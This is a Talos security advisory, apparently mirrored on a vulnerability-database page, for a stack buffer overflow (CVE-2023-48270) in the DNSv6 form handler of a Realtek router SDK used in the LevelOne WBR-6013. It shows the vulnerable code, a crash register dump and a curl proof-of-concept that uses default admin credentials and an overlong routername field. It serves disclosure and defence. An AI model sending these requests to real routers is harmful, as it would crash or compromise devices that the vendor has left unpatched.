Lucene search

K
talosTalos IntelligenceTALOS-2023-1876
HistoryJul 08, 2024 - 12:00 a.m.

Realtek rtl819x Jungle SDK boa formDnsv6 stack-based buffer overflow vulnerability

2024-07-0800:00:00
Talos Intelligence
www.talosintelligence.com
13
realtek
rtl819x
jungle sdk
boa
formdnsv6
buffer overflow
vulnerability
wbr-6013
router
stack-based
levelone
cve-2023-48270
cwe-121
cvssv3
api
dns configurations

CVSS3

7.2

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

AI Score

7.7

Confidence

High

EPSS

0.001

Percentile

17.4%

Talos Vulnerability Report

TALOS-2023-1876

Realtek rtl819x Jungle SDK boa formDnsv6 stack-based buffer overflow vulnerability

July 8, 2024
CVE Number

CVE-2023-48270

SUMMARY

A stack-based buffer overflow vulnerability exists in the boa formDnsv6 functionality of Realtek rtl819x Jungle SDK v3.4.11. A specially crafted series of network requests can lead to arbitrary code execution. An attacker can send a sequence of requests to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

LevelOne WBR-6013 RER4_A_v3411b_2T2R_LEV_09_170623
Realtek rtl819x Jungle SDK v3.4.11

PRODUCT URLS

rtl819x Jungle SDK - <https://www.realtek.com/en/&gt; WBR-6013 - <https://www.level1.com/level1_en/wbr-6013-n300-wireless-router-54069103&gt;

CVSSv3 SCORE

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

DETAILS

The rtl819x Jungle SDK is an SDK for routers. This SDK uses as web server boa.

This Realtek rtl819x Jungle SDK vulnerability was found while researching the Levelone WBR-6013 router. We are going to explain this vulnerability from the perspective of the WBR-6013 router.

The WBR-6013 router has a web server called boa. The version used in the device is a Realtek’SDK that uses boa. One of the SDK’s API is /boafrm/formDnsv6. This API allows the change of some DNS configurations. Following the formDnsv6 that handles the /boafrm/formDnsv6 API:

void formDnsv6(request *wp, char *path, char *query)
{
    [...]
    dnsv6CfgParam_t dnsCfgParam;

    getDnsv6Info(&dnsCfgParam);

    value=req_get_cstream_var(wp,"submit","");
    save_translation_ptr = get_correct_lang("Save");
    if(0 == strcmp(value, save_translation_ptr))
    {
        set_DnsParam(wp, path, query,&dnsCfgParam);
    }
[...]
}

The function fetches from the flash the current DNS information and fills the stack variable dnsCfgParam with it. If the submit request’s parameter is equal to β€œSave”, the function will call set_DnsParam, which is the function responsible for updating the dnsCfgParam variable with the request’s parameters. Following the set_DnsParam function:

int  set_DnsParam(request *wp, char *path, char *query, dnsv6CfgParam_t *pdnsv6CfgParam)
{
    [...]
[1] enable=atoi(req_get_cstream_var(wp,"enable_dnsv6",""));
    [...]
    if(enable)
    {
[2]     value = req_get_cstream_var(wp,"routername","");
[3]     strcpy(pdnsv6CfgParam-&gt;routerName,value);
    }
    return 0;
}

At [1], enable_dnsv6 is extracted from the request’s parameters and, if the value is different than 0, the code at [2] and [3] is executed. At [2] the routername request’s parameter is fetched and then used at [3] to update the routerName struct member of the pdnsv6CfgParam variable.

Because no checks are performed on the size of the routername request’s parameter string, a buffer overflow can occur at [3] in the stack variable dnsCfgParam of the formDnsv6 function. An attacker could exploit this vulnerability to achieve arbitrary code execution.

Crash Information

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────── registers ──────────────────────────────
$zero: 0x00000000  β†’  0x00000000
$at  : 0xfffffff8  β†’  0xfffffff8
$v0  : 0x0000003d  β†’  0x0000003d
$v1  : 0x0000013f  β†’  0x0000013f
$a0  : 0x004cbcac  β†’  0x45515549  β†’  0x45515549 ("EQUI"?)
$a1  : 0x407ffb89  β†’  0x00035d00  β†’  0x00035d00
$a2  : 0x00000000  β†’  0x00000000
$a3  : 0x00000000  β†’  0x00000000
$t0  : 0x0000003e  β†’  0x0000003e
$t1  : 0xbf8004b4  β†’  0xbf8004b4
$t2  : 0x00000002  β†’  0x00000002
$t3  : 0x00000200  β†’  0x00000200
$t4  : 0x00000100  β†’  0x00000100
$t5  : 0x00000807  β†’  0x00000807
$t6  : 0x00000800  β†’  0x00000800
$t7  : 0x004b0000  β†’  0x004b0000
$s0  : 0x41414141  β†’  0x41414141 ("AAAA"?)
$s1  : 0x41414141  β†’  0x41414141 ("AAAA"?)
$s2  : 0x41414141  β†’  0x41414141 ("AAAA"?)
$s3  : 0x41414141  β†’  0x41414141 ("AAAA"?)
$s4  : 0x41414141  β†’  0x41414141 ("AAAA"?)
$s5  : 0x004b9d90  β†’  0x00000000  β†’  0x00000000
$s6  : 0x00000004  β†’  0x00000004
$s7  : 0x00449644  β†’  0x666f726d  β†’  0x666f726d ("form"?)
$t8  : 0x004b56c0  β†’  0x3ff44400  β†’  0x28c80008  β†’  0x28c80008
$t9  : 0x3ff44400  β†’  0x28c80008  β†’  0x28c80008
$k0  : 0x00000000  β†’  0x00000000
$k1  : 0x00000000  β†’  0x00000000
$s8  : 0x0000005c  β†’  0x0000005c
$pc  : 0x41414141  β†’  0x41414141 ("AAAA"?)
$sp  : 0x408004e0  β†’  0x41414141  β†’  0x41414141 ("AAAA"?)
$hi  : 0x0000025d  β†’  0x0000025d
$lo  : 0x00000006  β†’  0x00000006
$fir : 0x00739300  β†’  0x00739300
$ra  : 0x41414141  β†’  0x41414141 ("AAAA"?)
$gp  : 0x3ff875c0  β†’  0x6c5f636f  β†’  0x6c5f636f ("l_co"?)
────────────────────────────── stack ──────────────────────────────
0x408004e0β”‚+0x0000: 0x41414141  β†’  0x41414141	 ← $sp
0x408004e4β”‚+0x0004: 0x41414141  β†’  0x41414141
0x408004e8β”‚+0x0008: 0x41414141  β†’  0x41414141
0x408004ecβ”‚+0x000c: 0x41414141  β†’  0x41414141
0x408004f0β”‚+0x0010: 0x41414141  β†’  0x41414141
0x408004f4β”‚+0x0014: 0x41414141  β†’  0x41414141
0x408004f8β”‚+0x0018: 0x41414141  β†’  0x41414141
0x408004fcβ”‚+0x001c: 0x41414141  β†’  0x41414141
────────────────────────────── code:mips:MIPS32 ──────────────────────────────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414140
────────────────────────────── threads ──────────────────────────────
[#0] Id 1, stopped 0x41414141 in ?? (), reason: SIGSEGV

Exploit Proof of Concept

To use a specific API of the web server, because of a CSRF protection mechanism, it is necessary to load the HTML page that would call that API:

curl --user admin:admin http://&lt;DEVICE_IP&gt;/dnsv6.htm &&gt;/dev/null

After this request it is possible to use the /boafrm/formDnsv6 API:

curl -d "enable_dnsv6=1&submit=Save&submit-url=POC&routername=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -X POST -H "Content-Type: application/x-www-form-urlencoded" --user admin:admin http://&lt;DEVICE_IP&gt;/boafrm/formDnsv6

After the request the boa process will crash. The POC uses the default admin credentials.

VENDOR RESPONSE

Realtek has provided updates software to their customers. LevelOne has declined to patch the issues in their software.

TIMELINE

2023-12-14 - Initial Vendor Contact
2023-12-22 - Vendor Disclosure
2024-05-20 - Vendor Patch Release
2024-07-08 - Public Release

Credit

Discovered by Francesco Benvenuto of Cisco Talos.


Vulnerability Reports Next Report

TALOS-2023-1875

Previous Report

TALOS-2023-1878

CVSS3

7.2

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

AI Score

7.7

Confidence

High

EPSS

0.001

Percentile

17.4%

Related for TALOS-2023-1876